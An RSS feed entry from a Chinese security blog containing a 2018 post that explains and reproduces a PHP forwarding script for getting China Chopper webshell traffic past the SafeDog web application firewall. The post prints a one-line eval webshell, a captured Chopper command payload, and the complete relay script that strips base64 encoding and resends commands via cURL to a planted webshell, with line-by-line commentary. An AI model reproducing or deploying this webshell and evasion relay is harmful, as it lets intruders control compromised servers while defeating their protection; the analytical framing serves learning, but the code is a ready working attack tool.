<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>转发 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E8%BD%AC%E5%8F%91/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:22:57 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>本地转发过狗原理</title>
		<link>/web/542.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 20 Aug 2018 07:01:53 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[菜刀]]></category>
		<category><![CDATA[转发]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=542</guid>

					<description><![CDATA[在土司发了篇水文，有朋友问本地转发过狗的原理。虽然早就用了但是一直没认真研究过，借此机会研究一下。脚本非原创，链接文末贴出。 发现安全狗检测特征 网站存在安全狗的情况下即使上传了一...]]></description>
										<content:encoded><![CDATA[<blockquote>
<p class="">在土司发了篇<a href="https://www.t00ls.net/articles-47306.html" rel="noopener">水文</a>，有朋友问本地<span class="wpcom_tag_link"><a href="/tags/%e8%bd%ac%e5%8f%91" title="转发" target="_blank">转发</a></span><span class="wpcom_tag_link"><a href="/tags/%e8%bf%87%e7%8b%97" title="过狗" target="_blank">过狗</a></span>的原理。虽然早就用了但是一直没认真研究过，借此机会研究一下。脚本非原创，链接文末贴出。</p>
</blockquote>
<h1>发现安全狗检测特征</h1>
<p>网站存在安全狗的情况下即使上传了一句话<span class="wpcom_tag_link"><a href="/tags/%e8%8f%9c%e5%88%80" title="菜刀" target="_blank">菜刀</a></span>也连不上，尤其是iis7.5解析漏洞，xx.jpg/.php解析了一句话并且安全狗不拦截，但是连不上shell就很头疼。<br />
首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截，菜刀的POST数据里面对eval数据进行了base64编码，安全狗也是利用该特征进行检测的。”这是脚本作者原话(这里不确定是否为原作者，因为我只是在他博客看到的文章。)<br />
具体安全狗是否是利用该特征对菜刀的http进行检测的，我没有研究过，但是取消掉base64编码安全狗的确不拦截了，所以这里就认为是利用该特征进行检测。</p>
<h1>菜刀post数据分析</h1>
<p>研究转发脚本先对菜刀的post数据分析一下，方便理解脚本。<br />
利用wireshark对菜刀抓包分析发现，当我们自写脚本执行print(“test”)时，菜刀的post数据内容为:</p>
<pre class="lang:default decode:true ">test=@eval(base64_decode($_POST[z0]));&amp;z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
</pre>
<p>&nbsp;</p>
<p>这里的test，为我们上传的一句话的密码”&lt;?php @eval($_POST[‘test’]); ?&gt;”。<br />
可以看到数据包的内容，菜刀将编码的部分解码然后发送给服务端（编码是为了防止特殊字符导致执行出现错误）。将后面的base64编码内容解码</p>
<pre class="lang:default decode:true">@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-&gt;|");;print("hello PHP!");;echo("|&lt;-");die();
</pre>
<p>都很容易理解就不废话了。</p>
<h1>转发脚本原理</h1>
<p>为了便于理解我画了一张图<br />
<a id="ui-id-1" class="fancy-ctn fancybox" title="原理" href="http://www.evi1.cn/img/web/bypass/yl.png" rel="fancy-group"><img loading="lazy" title="原理" src="http://www.evi1.cn/img/web/bypass/yl.png" alt="原理" width="undefined" height="undefined" /></a><br />
转发脚本源代码:</p>
<pre class="lang:default decode:true ">&lt;?php $target="";//webshell地址
$poststr='';
$i=0;
foreach($_POST as $k=&gt;$v)
{
    if(strstr($v, "base64_decode"))
        {
            $v=str_replace("base64_decode(","",$v);
            $v=str_replace("))",")",$v);
        }else
        {
            if($k==="z0")
                $v=base64_decode($v);
        }
    $pp=$k."=".urlencode($v);
    // echo $pp;
    if($i!=0)
    {
        $poststr=$poststr."&amp;".$pp;
    }
    else
    {
        $poststr=$pp;
    }
    $i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING']; 
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?&gt;</pre>
<p>&nbsp;</p>
<p>先分析foreach这一段:</p>
<pre class="lang:default decode:true ">foreach($_POST as $k=&gt;$v)
{
    if(strstr($v, "base64_decode"))
        {
            $v=str_replace("base64_decode(","",$v);
            $v=str_replace("))",")",$v);
        }else
        {
            if($k==="z0")
                $v=base64_decode($v);
        }
    $pp=$k."=".urlencode($v);
    // echo $pp;
    if($i!=0)
    {
        $poststr=$poststr."&amp;".$pp;
    }
    else
    {
        $poststr=$pp;
    }
    $i=$i+1;
}</pre>
<p>&nbsp;</p>
<p>去除$_POST数组中的键值，利用strstr函数匹配到base64_decode函数并返回剩下的字符串，然后取出z0的值base64_decode解码。经过第一个if条件语句处理完以后数据变为</p>
<pre class="lang:default decode:true ">test=@eval($_POST[z0]);@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“-&gt;|”);;print(“hello PHP!”);;echo(“|&lt;-“);die();</pre>
<p>&nbsp;</p>
<p>将数据urlencode(服务端接收参数数据时会自动解码),剩下的的代码就是将两段数据用&amp;连接起来。</p>
<pre class="lang:default decode:true ">$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING']; //获取url?后的值
curl_setopt($ch, CURLOPT_URL, $curl_url);//设置curl传输选项
curl_setopt($ch, CURLOPT_POST, 1);//发送post请求
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);// 全部数据使用HTTP协议中的 "POST" 操作来发送 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//TRUE 将curl_exec()获取的信息以字符串返回，而不是直接输出。
$result = curl_exec($ch);//执行
curl_close($ch);//关闭
echo $result;
?&gt;</pre>
<p>&nbsp;</p>
<p>emmmm,cURL我理解为就是去访问shell地址的页面。这里我将注释写到了代码后面。<br />
这里有个地方没有深入了解，就是为什么post的数据需要urlencode,我测试的时候去掉了该编码函数，菜刀连接提示页面返回信息有误，不知道是代码的原因还是不编码的话就被安全狗给拦截了。希望有懂的师傅指点一下。</p>
<p>参考文章：<br />
<a href="https://www.cnblogs.com/h4ck0ne/p/5154569.html" target="_blank" rel="noopener noreferrer">h4ck0ne</a><br />
<a href="https://www.cnblogs.com/milantgh/p/4285735.html" target="_blank" rel="noopener noreferrer">中国菜刀原理</a></p>
<p><em>任重而道远</em></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
